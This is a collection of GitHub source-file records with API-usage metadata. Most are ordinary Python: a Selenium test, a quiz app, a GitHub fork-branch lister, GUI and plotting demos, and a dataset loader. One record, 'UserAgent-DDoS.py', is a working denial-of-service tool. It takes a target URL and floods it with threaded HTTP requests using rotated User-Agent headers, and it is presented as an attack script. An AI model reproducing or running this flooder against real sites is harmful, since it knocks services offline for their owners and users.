"flask.render_template", "line_number": 91, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 94, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 104, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 111, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 114, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 117, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 117, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 122, "usage_type": "call"}]}
{"seq_id": "18943232348", "text": "import time\n# preparing selenium and chrome web driver manager\nfrom selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\n\n# installing web driver manager and opening the page\nURL = 'https://black-moss-0a0440e03.azurestaticapps.net/rv4.html'\ndriver = webdriver.Chrome(ChromeDriverManager().install())\ndriver.get(URL)\n\n\n# the full guessing method, reusable if page is refreshed\ndef guessing():\n    time.sleep(2)\n    # gathering the full cities, the possible cities, input, and button\n    cities = driver.find_element_by_id('cites').text\n    li_of_cities = driver.find_elements_by_tag_name('li')\n    missing_city_input = driver.find_element_by_id('missingCity')\n    submit_button = driver.find_element_by_id('submit')\n\n    # generating the cities of the world list\n    cities = cities.replace('\"', '')\n    cities_of_the_world_list = cities.split(', ')\n\n    # generating the short list if cities\n    short_list_of_cities = []\n    for li in li_of_cities:\n        short_list_of_cities.append(li.text)\n\n    # getting the missing city\n    missing_city = ''\n    for city in cities_of_the_world_list:\n        if city not in short_list_of_cities:\n            missing_city = city\n\n    # clearing the input and guessing the city\n    missing_city_input.clear()\n    time.sleep(0.5)\n    missing_city_input.send_keys(missing_city)\n    submit_button.click()\n    time.sleep(0.5)\n\n    # checking if the missing city is correct\n    assert (driver.find_element_by_id('result').text == 'Eltaláltad.')\n\n\n# calling the guessing function, callable if page is refreshed\nguessing()\n", "repo_name": "Pilinger/testauto-zarovizsga1", "sub_path": "testproject/rv4.py", "file_name": "rv4.py", "file_ext": "py", "file_size_in_byte": 1585, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 8, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 8, "usage_type": "name"}, {"api_name": "webdriver_manager.chrome.ChromeDriverManager", "line_number": 8, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 14, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 38, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "72273613053", "text": "from question_model import Question\nfrom data import question_data\nfrom quiz_brain import QuizBrain\nfrom ui import Quiz_Interface\nimport requests\nimport json\nimport time\n\n# -------------------------- MODIFYING THE CALL ---------------------------- #\nparameters = {\n    \"amount\" :10,\n    \"type\":\"boolean\"\n}\nresponse = requests.get(url=\"https://opentdb.com/api.php\", params=parameters)\nresponse.raise_for_status()\n\ndata = response.json()\nwith open(\"data.py\", \"w\") as data_file:\n    data_file.write(f\"question_data = {data['results']}\")\n    time.sleep(2)\n\n\nquestion_bank = []\nfor question in question_data:\n    question_text = question[\"question\"]\n    question_answer = question[\"correct_answer\"]\n    new_question = Question(question_text, question_answer)\n    question_bank.append(new_question)\n\n\nquiz = QuizBrain(question_bank)\nquiz_ui = Quiz_Interface(quiz)\n\n# while quiz.still_has_questions():\n#    quiz.next_question()\n\nprint(\"You've completed the quiz\")\nprint(f\"Your final score was: {quiz.score}/{quiz.question_number}\")\n", "repo_name": "Rayden98/infinite-quiz-game", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1025, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 20, "usage_type": "call"}, {"api_name": "data.question_data", "line_number": 24, "usage_type": "name"}, {"api_name": "question_model.Question", "line_number": 27, "usage_type": "call"}, {"api_name": "quiz_brain.QuizBrain", "line_number": 31, "usage_type": "call"}, {"api_name": "ui.Quiz_Interface", "line_number": 32, "usage_type": "call"}]}
{"seq_id": "41693345071", "text": "#!/usr/bin/env python3\n\"Print every branch in every fork which has its own commits for a GH project\"\nimport re, argparse, urllib.request, json, subprocess, sys, os.path\n\nclass Project:\n    def __init__(self, api, data):\n        self.api = api\n        self.data = data\n\n    def getMultipage(self, size, template):\n        pn = 0\n        while pn * self.api.pageSize < size:\n            p = self.api.query((template + \"?page=%d&per_page=%d\") % (\n                self.data[\"full_name\"], (pn + 1), self.api.pageSize))\n            for b in p:\n                yield b\n            if len(p) < self.api.pageSize:\n                break\n            pn += 1\n\n    def getBranches(self):\n        return self.getMultipage(1000, \"repos/%s/branches\")\n\n    def getForks(self):\n        return self.getMultipage(self.data[\"forks_count\"], \"repos/%s/forks\")\n\nclass Count:\n    def __init__(self):\n        self.total = self.done = 0\n\nclass StatCount:\n    def __init__(self):\n        self.projects = 0\n        self.branches = 0\n        self.originBranches = 0\n\nclass Api:\n    def __init__(self, args):\n        self.args = args\n        self.useCurl = 1\n        self.count = StatCount()\n        self.count.requests = Count()\n        self.estimation = StatCount()\n        self.estimation.projects = 10\n        self.estimation.originBranches = 10\n        self.estimation.branches = 100\n        self.pageSize = 100\n        self.token = os.environ.get(\"GH_TOKEN\")\n        if not self.token:\n            p = os.path.expanduser(\"~/.ghtoken\")\n            if os.path.isfile(p):\n                self.token = open(p).read().strip()\n        if self.token:\n            self.username, self.password = self.token.split(\":\")\n        self.reestimate()\n\n    def download(self, url):\n        if 0 and self.token:\n            url = \"%s%sclient_id=%s&client_secret=%s\" % (\n                url, \"&\" if \"?\" in url else \"?\", self.username, self.password)\n        cmd = [\"curl\", \"-L\", \"--retry\", \"99999\", url]\n        if self.token:\n            # cmd += [\"-H\", \"Authorization: token \" + self.token]\n            cmd += [\"-u\", self.token]\n        if self.args.verbose:\n            sys.stderr.write(\"Running %s ...\\n\" % (\" \".join(cmd)))\n            cmd += [\"-v\"]\n        else:\n            cmd += [\"--silent\"]\n        p = subprocess.Popen(cmd, stdout=subprocess.PIPE)\n        text = p.stdout.read().decode()\n        r = p.wait()\n        if r != 0:\n            raise Exception(\"curl returned %d\" % (r))\n        return text\n\n    def query(self, path):\n        u = \"https://api.github.com/%s\" % path\n        message = \"%4d/%4d <- .../%s\" % (\n            self.count.requests.done, self.count.requests.total, path)\n        sys.stderr.write(\"\\33[2K\\r\" + message[0:self.width-1])\n        if self.useCurl:\n            res = self.download(u)\n        else:\n            req = urllib.request.Request(u)\n            res = urllib.request.urlopen(req).read()\n        obj = json.loads(res)\n        self.count.requests.done += 1\n        if 'message' in obj or type(obj) == str:\n            raise Exception(obj)\n        return obj\n\n    def reestimate(self):\n        self.count.requests.total =\\\n            (self.estimation.projects / self.pageSize + 1) +\\\n            self.estimation.projects *\\\n            (self.estimation.originBranches / self.pageSize + 2)\n\n    def printBranchesWithCommits(self):\n        h, w = os.popen('stty size', 'r').read().split()\n        self.width = int(w)\n        originName = self.args.INPUT\n        origin = Project(self, self.query(\"repos/%s\" % originName))\n        self.estimation.projects = origin.data[\"forks_count\"] + 1\n        self.reestimate()\n        forks = origin.getForks()\n        defBranch = origin.data[\"default_branch\"]\n        branches0 = origin.getBranches()\n        branchesIndex = {}\n        commitIndex = {}\n        self.estimation.branches = 0\n        for bd in branches0:\n            branchesIndex[bd[\"name\"]] = bd\n            self.estimation.branches += 1\n            commitIndex[bd[\"commit\"][\"sha\"]] = bd\n        self.reestimate()\n        for f in forks:\n            fp = Project(self, f)\n            branches = fp.getBranches()\n            for bd in branches:\n                obd = branchesIndex.get(bd[\"name\"], branchesIndex[defBranch])\n                if bd[\"commit\"][\"sha\"] in commitIndex:\n                    # self.count.requests.done += 1\n                    self.count.requests.total -= 1\n                    continue\n                commitIndex[bd[\"commit\"][\"sha\"]] = bd\n                comp = self.query(\"repos/%s/compare/%s...%s:%s\" % (\n                    originName, obd[\"name\"], fp.data[\"owner\"][\"login\"],\n                    bd[\"name\"]))\n                if not comp[\"ahead_by\"]:\n                    continue\n                print(\"\\33[2K\\r%d commits https://github.com/%s/commits/%s\" % (\n                    comp[\"ahead_by\"], fp.data[\"full_name\"], bd[\"name\"]))\n                for cd in comp[\"commits\"]:\n                    print(\"%s '%s'\" % (\n                        cd[\"sha\"][0:8], cd[\"commit\"][\"message\"]))\n        print(\"\\n%d forks, %d original branches\" % (\n            self.estimation.projects, self.estimation.branches))\n\nparser = argparse.ArgumentParser(description=__doc__)\nparser.add_argument(\"-v\", \"--verbose\", action=\"store_true\")\nparser.add_argument(\"INPUT\")\nApi(parser.parse_args()).printBranchesWithCommits()\n\n", "repo_name": "gv/scripts21", "sub_path": "gforks.py", "file_name": "gforks.py", "file_ext": "py", "file_size_in_byte": 5326, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.environ.get", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.environ", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 48, "usage_type": "name"}, {"api_name": "os.path.path.expanduser", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 50, "usage_type": "name"}, {"api_name": "os.path.path.isfile", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 51, "usage_type": "name"}, {"api_name": "sys.stderr.write", "line_number": 66, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 66, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 70, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 70, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 81, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 81, "usage_type": "attribute"}, {"api_name": "urllib.request.request.Request", "line_number": 85, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 85, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 85, "usage_type": "name"}, {"api_name": "urllib.request.request.urlopen", "line_number": 86, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 86, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 86, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.popen", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 140, "usage_type": "call"}]}
{"seq_id": "39761118053", "text": "try:\n    import socket, threading, requests, random, time, os\nexcept:\n    print(\"[+] Missing dependecies: {Module 'requests'}\")\nprint(\"\")\nprint(\"  _    _                                      _     _____  _____        _____   ____   ___  \")\nprint(\" | |  | |               /\\                   | |   |  __ \\|  __ \\      / ____| |___ \\ / _ \\ \")\nprint(\" | |  | |___  ___ _ __ /  \\   __ _  ___ _ __ | |_  | |  | | |  | | ___| (___     __) | | | |\")\nprint(\" | |  | / __|/ _ \\ '__/ /\\ \\ / _` |/ _ \\ '_ \\| __| | |  | | |  | |/ _ \\ ___ \\   |__ <| | | |\")\nprint(\" | |__| \\__ \\  __/ | / ____ \\ (_| |  __/ | | | |_  | |__| | |__| | (_) |___) |  ___) | |_| |\")\nprint(\"  \\____/|___/\\___|_|/_/    \\_\\__, |\\___|_| |_|\\__| |_____/|_____/ \\___/_____/  |____(_)___/ \")\nprint(\"                              __/ |                                                         \")\nprint(\"                             |___/                                                          \")\nprint(\" Script By DrSquid\")\nprint(\"\")\nprint(\" This Script uses UserAgents as bots in a DDoS Attack.\")\nprint(\" A text file with UserAgents is required for this script to work.\")\nprint(\"\")\nwhile True:\n    file = input(\"[+] Enter the txt file with bots: \")\n    try:\n        with open(file, 'r') as useragentlist:\n            useragentlists = useragentlist.readlines()\n        useragents = []\n        for agents in useragentlists:\n            useragents.append(agents.strip())\n        break\n    except:\n        print(\"[+] Invalid File Specified.\")\nwhile True:\n    try:\n        ip = input(\"[+] Enter IP to attack(include the 'https://www.'): \")\n        cooldown = int(input(\"[+] How long is the cooldown(recommended for smaller websites)?: \"))\n        threadstocreate = int(input(\"[+] How many threads do you want to create before a cooldown?: \"))\n        inthreadcooldown = int(input(\"[+] What is the cool down for each thread?: \"))\n        if 'http' not in ip and 'https' not in ip:\n            print(\"[+] Please include the https:// when inputting the IP and also the www. if it is a website.\\n\")\n        elif threadstocreate == 0:\n            print(\"[+] Make sure to have at least one thread created at a time, otherwise the DDoS Attack wont happen!\\n\")\n        else:\n            print('[+] Website to be Attacked:', ip)\n            print('\\n[+] Getting Bots/Useragents Ready........')\n            time.sleep(3)\n            break\n    except:\n        print(\"[+] Invalid Input.\")\nbot_count = 1\nwhile True:\n    bot_count += 1\n    os.system('cls')\n    print(\"[+] Readying DDoS Attack........\")\n    print(\"\")\n    print(f\"[+] {bot_count}% of Bots loaded.\")\n    if bot_count >= 100:\n        break\n        print(\"[+] Ready for attack.\")\nsent = 1\nprevcount = 1\ndef ddos():\n    global sent\n    global prevcount\n    global dif\n    while True:\n        bot = useragents[random.randint(0, (len(useragents) - 1))]\n        try:\n            headers = {\"User-Agent\": bot}\n            response = requests.get(ip, headers=headers)\n            print(f'[+] Server Response: {response} Requests Sent: {sent}')\n            response.close()\n            sent += 1\n            time.sleep(inthreadcooldown)\n        except requests.exceptions.ConnectionError:\n            pass\nthreads = []\nwhile True:\n    for i in range(threadstocreate):\n        try:\n            x = threading.Thread(target=ddos)\n            x.start()\n            threads.append(x)\n        except:\n            pass\n    for thread in threads:\n        thread.join()\n    time.sleep(cooldown)\n    threads = []\n", "repo_name": "DrSquidX/Hacker-Related-Python-Scripts", "sub_path": "UserAgent-DDoS.py", "file_name": "UserAgent-DDoS.py", "file_ext": "py", "file_size_in_byte": 3498, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "time.sleep", "line_number": 43, "usage_type": "call"}, {"api_name": "os.system", "line_number": 50, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 64, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 67, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 71, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 72, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 78, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 85, "usage_type": "call"}]}
{"seq_id": "34049002467", "text": "\"\"\"Showcase what the output of pymunk.pygame_util draw methods will look like.\n\nSee pyglet_util_demo.py for a comparison to pyglet.\n\"\"\"\n\n__version__ = \"$Id:$\"\n__docformat__ = \"reStructuredText\"\n\nimport sys\n\nimport pygame\nfrom pygame.locals import *\n    \nimport pymunk\nfrom pymunk.vec2d import Vec2d\nimport pymunk.pygame_util\n\nfrom shapes_for_draw_demos import add_objects\n\ndef main():\n    pygame.init()\n    screen = pygame.display.set_mode((600,600)) \n    clock = pygame.time.Clock()\n    font = pygame.font.SysFont(\"Arial\", 16)\n    \n    space = pymunk.Space()\n    \n    add_objects(space)\n            \n    ### Draw it \n    screen.fill(pygame.color.THECOLORS[\"black\"])\n    \n    pymunk.pygame_util.draw(screen, space)\n                    \n    # Info\n    screen.blit(font.render(\"Demo example of shapes drawn by pygame_util.draw()\", 1, pygame.color.THECOLORS[\"darkgray\"]), (5, 580))\n    screen.blit(font.render(\"Static shapes\", 1, pygame.color.THECOLORS[\"white\"]), (50, 20))\n    screen.blit(font.render(\"Dynamic shapes\", 1, pygame.color.THECOLORS[\"white\"]), (250, 20))\n    screen.blit(font.render(\"Constraints\", 1, pygame.color.THECOLORS[\"white\"]), (450, 20))\n    screen.blit(font.render(\"Other\", 1, pygame.color.THECOLORS[\"white\"]), (450, 300))\n   \n    pygame.display.flip()\n    \n    while True:\n        for event in pygame.event.get():\n            if event.type == QUIT or \\\n                event.type == KEYDOWN and (event.key in [K_ESCAPE, K_q]):  \n                return \n            elif event.type == KEYDOWN and event.key == K_p:\n                pygame.image.save(screen, \"pygame_util_demo.png\")                \n                                  \n        clock.tick()\n        \nif __name__ == '__main__':\n    sys.exit(main())", "repo_name": "imanolarrieta/angrybirds", "sub_path": "pymunk-4.0.0/examples/pygame_util_demo.py", "file_name": "pygame_util_demo.py", "file_ext": "py", "file_size_in_byte": 1728, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 65, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.init", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pymunk.Space", "line_number": 26, "usage_type": "call"}, {"api_name": "shapes_for_draw_demos.add_objects", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.color", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pymunk.pygame_util.draw", "line_number": 33, "usage_type": "call"}, {"api_name": "pymunk.pygame_util", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.color", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pygame.color", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pygame.color", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pygame.color", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.color", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 45, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pygame.image.save", "line_number": 50, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 50, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 55, "usage_type": "call"}]}
{"seq_id": "11725601694", "text": "#Quinto script de resolucion de problemas de control\n#Resolviendo la trasformada anterior con la libreria control\nimport numpy as np\nimport control\nimport matplotlib.pyplot as plt\n\n#Define Transfer Funtion  H(s)=3(2s+1)/(3s+1)(5s+1)\nnum1 = np.array([3])\nnum2 = np.array([2,1])\nnum = np.convolve(num1, num2)\n\nden1  = np.array([3,1])\nden2  = np.array([5,1])\nden  = np.convolve(den1, den2)\n\nH = control.tf(num, den)\nprint('H(s) = ', H)\n\n#Bode plot\n#control.bode_plot(H)\n\n#Bode plot\nw, mag, phase = control.bode(H, dB=True)\n\n#print(w.shape)\n#print('*'*80)\n#print(mag.shape)\n#print('*'*80)\n#print(phase.shape)\n#print('*'*80)\n\nplt.figure()\nplt.subplot(2,1,1)\nplt.semilogx(w,mag) #Bode magnitude plot\nplt.title('Bode plot')\nplt.ylabel('Magnitude (dB)')\nplt.grid(b=None, which='major', axis='both')\nplt.grid(b=None, which='minor', axis='both')\n\nplt.subplot(2,1,2)\nplt.semilogx(w,phase) #Bode Phase plot\nplt.ylabel('Phase (deg)')\nplt.xlabel('Frecuency (rad/seg)')\nplt.grid(b=None, which='major', axis='both')\nplt.grid(b=None, which='minor', axis='both')\nplt.show()", "repo_name": "Dragon788IQ/Curso-machine-learning-and-control", "sub_path": "control_5.py", "file_name": "control_5.py", "file_ext": "py", "file_size_in_byte": 1055, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.array", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.convolve", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.convolve", "line_number": 14, "usage_type": "call"}, {"api_name": "control.tf", "line_number": 16, "usage_type": "call"}, {"api_name": "control.bode", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.semilogx", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.semilogx", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}]}
{"seq_id": "41142198909", "text": "from PyQt5.QtWidgets import QApplication, QMainWindow, QPushButton, QToolTip, QMessageBox, QStatusBar, QMenuBar, QAction\nfrom PyQt5.QtCore import QCoreApplication\nfrom PyQt5 import QtGui\nimport sys\n\n\nclass Window(QMainWindow):\n    def __init__(self):\n        super().__init__()\n\n        self.status=\"This is new status bar\"\n        self.tittle = \"PyQt5\"\n        self.left = 100\n        self.top = 100\n        self.width = 480\n        self.height = 500\n        self.setWindowIcon(QtGui.QIcon(\"mahdi.jpg\"))\n\n        self.set_button()\n        self.main_menu()\n        self.init_ui()\n\n    def init_ui(self):\n        self.statusBar().showMessage(self.status)\n        self.setWindowTitle(self.tittle)\n        self.setGeometry(self.left, self.top, self.width, self.height)\n        self.show()\n\n    def set_button(self):\n        first_button = QPushButton(\"first\", self)\n        first_button.move(200, 300)\n        first_button.setToolTip(\"just for exit\")\n        first_button.clicked.connect(self.about_messages)\n\n        second_button = QPushButton(\"second\", self)\n        second_button.move(200, 200)\n        second_button.setToolTip(\"just for asking exit\")\n        second_button.clicked.connect(self.question_messages)\n\n    def about_messages(self):\n        QMessageBox.about(self, \"Mahdi\", \"Hi my friends this is my new About button\")\n\n    def question_messages(self):\n        message = QMessageBox.question(self, \"Close Message\", \"Are you sure?\", QMessageBox.Yes | QMessageBox.No,\n                                       QMessageBox.No)\n\n        if message == QMessageBox.Yes:\n            self.close()\n\n    def main_menu(self):\n        exit_button = QAction(QtGui.QIcon(\"mahdi.jpg\"), \"close\", self)\n        exit_button.setShortcut(\"Ctrl+E\")\n        exit_button.setStatusTip(\"Exit_Button\")\n        exit_button.triggered.connect(self.close)\n\n        menu = self.menuBar()\n        file = menu.addMenu(\"file\")\n        edit = menu.addMenu(\"edit\")\n        tool = menu.addMenu(\"tool\")\n\n        file.addAction(exit_button)\n        edit.addAction(exit_button)\n        tool.addAction(exit_button)\n\n    def close(self):\n        QCoreApplication.instance().quit()\n\n\nif __name__ == '__main__':\n    App = QApplication(sys.argv)\n    obj = Window()\n    sys.exit(App.exec())\n", "repo_name": "AliRazani99/Pycharm_training", "sub_path": "PyQt5/main_menu.py", "file_name": "main_menu.py", "file_ext": "py", "file_size_in_byte": 2255, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 7, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 17, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 17, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 30, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 35, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.about", "line_number": 41, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 41, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.question", "line_number": 44, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 44, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 44, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 44, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 45, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 45, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 47, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 47, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 51, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 51, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 51, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.instance", "line_number": 66, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 66, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 70, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 70, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 72, "usage_type": "call"}]}
{"seq_id": "6248223691", "text": "import random\n\nfrom django.core.management import BaseCommand\nfrom instagran.models import Desafio\n\nclass Command(BaseCommand):\n\n    def handle(self, *args, **options):\n        # Desafio.objects.all().delete()\n        #\n        #\n        # for number in range(1, 11):\n        #\n        #\n        #\n        #     numero = random.random() * 100\n        #\n        #     ponto = round(numero)\n        #\n        #     # if (number%2) == 0:\n        #\n        #\n        #     Desafio.objects.create(username=f\"test {number}\", name='nome', pontos=ponto)\n\n        carros = [\n            {'nome': 'vectra'},\n            {'nome': 'fusca'},\n            {'nome': 'kombi'},\n            {'nome': 'verona'},\n\n                   ]\n        for carro in carros:\n\n            carro['cor'] = 'branco'\n            if carro['nome'] == 'vectra':\n                carro['cor'] = 'azul'\n            elif carro['nome'] == 'fusca':\n                carro['cor'] = 'amarelo'\n            elif carro['nome'] == 'kombi':\n                carro['cor'] = 'verde'\n            elif carro['nome'] == 'verona':\n                carro['cor'] = 'preto'\n\n            print(carro['nome'], carro['cor'])\n\n        # contagem = 0\n        #\n        #\n        #\n        # for carro in carros:\n        #     contagem = contagem + 1\n        #\n        #     # if contagem == 4:\n        #     print(contagem, carro[0])\n\n\n", "repo_name": "josefernandogithub/projetos", "sub_path": "instagran/management/commands/createusers.py", "file_name": "createusers.py", "file_ext": "py", "file_size_in_byte": 1366, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.core.management.BaseCommand", "line_number": 6, "usage_type": "name"}]}
{"seq_id": "34548540984", "text": "import torch\nfrom torch.utils.data.dataset import Dataset\nimport numpy as np\nimport pickle\nimport os\nimport soundfile as sf\nfrom tqdm import tqdm\nimport torchaudio\nfrom collections import defaultdict\nimport pandas as pd\nimport re\nimport html\nimport logging\nfrom tqdm import tqdm\nimport pickle\nimport os\n\n# refer to bert and mfcc\nfrom input_embedding import AudioTextBatchFunction, BertForTextRepresentation\n# tokenizer from the best model\nfrom kobert import BertTokenizer\n\nlogger = logging.getLogger(__name__)\n\n\nclass DataSets(Dataset):\n    \"\"\" Adapted from original multimodal transformer code\"\"\"\n\n    def __init__(self, args, path, \n                 label_list,\n                 split_type=\"train\"):\n        super(DataSets, self).__init__()\n        \n        # dataset info\n        self.label2idx = dict(zip(label_list, range(len(label_list))))\n        self.split_type = split_type        \n        self.n_modalities = 2  # / text/ audio\n        \n        if not os.path.isfile(f'../processed/{args.model_name}/{self.split_type}.pkl'):\n            \n\n            # pretrained bert\n            self.tokenizer, self.vocab = self.get_pretrained_model(args.bert_raw_text_path, 'etri')\n            self.pad_idx = self.vocab['[PAD]']\n            self.cls_idx = self.vocab['[CLS]']\n            self.sep_idx = self.vocab['[SEP]']\n            self.mask_idx = self.vocab['[MASK]']\n\n            # get data\n            self.audio, self.text, self.labels = self.get_data(path)\n\n\n\n\n\n            # embedding\n            